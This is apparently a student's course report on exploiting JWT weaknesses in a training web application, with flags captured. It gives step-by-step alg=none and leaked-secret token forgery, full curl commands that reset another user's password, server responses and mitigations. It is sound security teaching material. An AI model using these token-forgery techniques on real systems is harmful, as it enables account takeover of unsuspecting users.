jamk

A02:2021 – Cryptographic Failures

Issue Report

Daniil Lebedev, AD1375, TTV22S2

Assignment report
Web Application Security TTC6500 / Daniil Lebedev
02.02.2025
School of Technology / Information and Communication Technology

jamk | Jyväskylän ammattikorkeakoulu
University of Applied Sciences

1 Old Wasdat – JWT Exploitation

1.1 Part 1: Exploit alg=none

Title: Unauthorized user can change other users' authentication credentials

Description: Unauthorized user can modify HTTP PUT request JWT token to change other users' authentication credentials. If unauthorized user managed to intercept HTTP PUT request, he can modify its JWT token to target user with the requested payload.

Steps to reproduce:

- Create an account, update the settings (In this case password) and intercept the PUT request that is used in this operation procedure.
- Modify intercepted request by editing the JWT token and changing "password":"*password*" with the required password hashed in SHA-1 format (see Picture 1).
    - Decode part before first dot-symbol in Authorization header (base64).
    - Change "alg": -value to "none" and save.
    - Encode modified part (base64) and put it back in Authorization header (before first dot).
    - Remove other unnecessary headers
- Enter modified request in your terminal (see Picture 1).

Picture 1

Request and response as plaintext:

┌──(kali㉿kali-vle)-[~/Desktop]

└─$ curl -i 'http://wasdat.fi:8080/api/user' -X PUT -H 'Authorization: Token eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJpYXQiOjE3Mzg1MjU3NjQsIm5iZiI6MTczODUyNTc2NCwianRpIjoiNGNhZGUwOWQtMzAzZC00NDEwLTkzZTQtZjhjZjRiOGY2OGY5IiwiZXhwIjo4ODEzODUyNTc2NCwiaWRlbnRpdHkiOjIsImZyZXNoIjpmYWxzZSwidHlwZSI6ImFjY2VzcyJ9.AD1375' -H 'Content-Type: application/json;charset=utf-8' -H 'Origin: http://wasdat.fi:8080' -H 'Connection: keep-alive' -H 'Referer: http://wasdat.fi:8080/' -H 'Priority: u=0' --data-raw '{"user":{"email":"attacker@example.com","username":"attacker","bio":"attacker2b","image":null,"password":"3ebb09974b3372664e46871f8ecec28f3b35bb43"}}'

HTTP/1.1 200 OK

Server: nginx/1.19.6

Date: Sun, 02 Feb 2025 20:15:10 GMT

Content-Type: application/json

Content-Length: 149

Connection: keep-alive

CurlFlagEarned: WasFlag4_1{PasswordSetWithCurl}

JWTFlagEarned: WasFlag4_2{AlgNoneShouldBeDead}

Access-Control-Allow-Origin: *

{

"user": {

"bio": "attacker2b",

"email": "attacker@example.com",

"image": null,

"token": "",

"username": "attacker"

}

}

Impact estimation:

High severity: An unauthorized user can change other users' passwords by modifying an intercepted HTTP PUT request and executing it via curl. Exploiting this issue could result in full account takeovers, locking legitimate users out of their accounts and granting attackers unauthorized access to sensitive user data and restricted resources. This could lead to financial losses and damage to platform reputation.

Mitigation:

- Implement proper authentication methods. When prompting for a password change, force the user to provide the original password in addition to the new password

- See CWE-620: https://cwe.mitre.org/data/definitions/620.html
- See CWE-347 https://cwe.mitre.org/data/definitions/347.html
- See CWE-327: https://cwe.mitre.org/data/definitions/327.html

2 Part 2: Exploit Known Secret

Title: Unauthorized user can modify JWT token to impersonate other users

Description: Unauthorized user can modify HTTP PUT request JWT token to change other users' authentication credentials. If unauthorized user managed to intercept HTTP PUT request, he can modify its JWT token to target user with the requested payload.

Steps to reproduce:

- Create an account, update the settings (In this case password) and intercept the PUT request that is used in this operation procedure.
- Modify intercepted request by editing the JWT token and changing "password":"*password*" with the required password hashed in SHA-1 format (see Picture 1).
    - Edit retrieved JWT token using JWT.io
    - Add ' "was":"true" ' to the end of the payload part of the JWT token.
    - In the "Verify Signature" box enter leaked secret key (secret key = "secret-key")
    - Copy newly crafted token and use it with curl
    - Remove other unnecessary headers
- Enter modified request in your terminal (see Picture 2).

Picture 2

Request and response as plaintext:

–(kali㉿kali-vle)-[~/Desktop]

└─$ curl -i 'http://wasdat.fi:8080/api/user' -X PUT -H 'Authorization: Token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzg1MjczNjAsIm5iZiI6MTczODUyNzM2MCwianRpIjoiOGQyMGUzYWUtY2UyOC00OGZhLWE3NzktY2QzMGQ0NTRmYzUwIiwiZXhwIjo4ODEzODUyNzM2MCwiaWRlbnRpdHkiOjIsImZyZXNoIjp0cnVlLCJ0eXBlIjoiYWNjZXNzIiwid2FzI-joidHJ1ZSJ9.27qBRUAht6sQlSxTIY_jlZmThFHRqoWy7ssVseWq2KA' -H 'Content-Type: application/json;charset=utf-8' -H 'Origin: http://wasdat.fi:8080' -H 'Connection: keep-alive' -H 'Referer: http://wasdat.fi:8080/' -H 'Priority: u=0' --data-raw '{"user":{"email":"attacker@example.com","username":"attacker","bio":"attacker2b","image":null,"password":"9bd2e1b3c69584a4d586189285f4514e1a22454b"}}'

HTTP/1.1 200 OK

Server: nginx/1.19.6

Date: Sun, 02 Feb 2025 20:52:58 GMT

Content-Type: application/json

Content-Length: 149

Connection: keep-alive

CurlFlagEarned: WasFlag4_1{PasswordSetWithCurl}

JWTFlagEarned: WasFlag4_3{AchievementUnlocked_MasterOfTokens}

Access-Control-Allow-Origin: *

{

  "user": {

    "bio": "attacker2b",

    "email": "attacker@example.com",

    "image": null,

```
  "token": "",

  "username": "attacker"

 }

}
```


Impact estimation:

Hight Severity: An unauthorized user can change other users' passwords by modifying an intercepted HTTP PUT request and executing it via curl. Exploiting this issue could result in full account takeovers, locking legitimate users out of their accounts, and granting attackers unauthorized access to sensitive user data and restricted resources. This could lead to financial losses, unauthorized actions performed on behalf of users, and damage to the platform's reputation.

Mitigation:

- See REST Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html
- See CWE-326: https://cwe.mitre.org/data/definitions/326.html

3 Time management

Date	Used hours	Description
Sunday 02.02.2025	0.5h	Reading required chapters
Sunday 02.02.2025	1.5h	Exploiting the target weakness
Sunday 02.02.2025	1h	Writing report
Total	3 h	Total time